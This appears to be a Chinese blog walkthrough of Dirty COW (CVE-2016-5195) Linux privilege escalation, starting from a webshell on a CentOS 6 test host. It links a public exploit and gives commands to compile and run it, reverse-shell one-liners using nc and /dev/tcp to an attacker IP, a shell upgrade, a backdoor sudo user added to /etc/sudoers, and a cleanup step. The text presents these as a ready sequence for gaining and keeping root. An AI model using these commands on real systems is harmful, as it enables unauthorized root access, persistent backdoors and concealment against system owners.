脏牛提权
2022-04-07 13:08:01

脏牛提权

漏洞描述

脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大。

漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。

影响范围

(如果你的内核版本低于以下版本,则还存在此漏洞):

1
2
3
4
5
6
7
Centos7/RHEL7     3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1

漏洞复现

这里我用的centos6的环境,查看内核版本。

1

发现版本在漏洞范围内。

链接蚁剑,查看权限。

2

发现是apache权限,权限很低,基本什么都干不了。

脏牛提权

下面上传脏牛进行提权。

下载链接:https://github.com/FireFart/dirtycow

3

成功上传。如果发现没有写入文件的权限,可以尝试上传至Linux临时目录tmp进行提权。

打开脏牛后可以看到脚本的使用方法。

4

首先使用gcc编译文档。

1
2
gcc -pthread dirty.c -o dirty -lcrypt
# -o 指定生成文件名

编译成功后当前目录下会生成如下文件。

5

生成密码

1
./dirty 账号密码

然后查看/etc/passwd文件,发现成功生成超级用户。

6

这样连上去的shell类型,不能su交互,我们需要tty交互式终端。解决方法可以切换一下shell。

1
2
python -c 'import pty; pty.spawn("/bin/sh")'
或python -c 'import pty; pty.spawn("/bin/bash")'

得到shell就可以su进行交互了。

但如果在蚁剑里面直接切换shell,无法成功,猜测是权限不够

7

如何得到一个完全交互性的shell

尝试用nc反弹shell

  1. 在攻击机上开启nc监听

8

  1. 反弹shell
1
2
nc  攻击机ip 1234 -e /bin/sh  (目标主机上有nc)
bash -i >& /dev/tcp/攻击机ip/1234 0>&1 (目标主机上没有nc)

9链接账户发现成功切换为超级用户。

10

留个后门

  1. 添加用户,首先用adduser命令添加一个普通用户,命令如下:
1
2
adduser abc//添加一个名为abc的用户
passwd abc //修改密码

11

2、赋予root权限

修改 /etc/sudoers 文件,找到下面一行,在root下面添加一行,如下所示:

1
2
root ALL=(ALL) ALL
abc ALL=(ALL) ALL

但在修改文件的时候,发现得到的shell还是有问题的.

12

他直接读取了我们键盘的数据,这是因为得到的还是一个半交互性的shell

解决方法如下:

1
2
3
1、Ctrl-Z 可以将一个正在前台执行的命令放到后台,并且暂停
2、stty raw -echo //设置原始输入并禁止回显(当在键盘上输入时,并不出现在屏幕上)
3、fg 将后台中的命令调至前台继续运行

现在就可以正常修改了。

修改完毕,现在可以用abc帐号登录,然后用命令 sudo ,即可获得root权限进行操作。

清理痕迹

最后记得删除文件,不然root是无法登陆账户的。

1
mv /tmp/passwd.bak /etc/passwd

搬运链接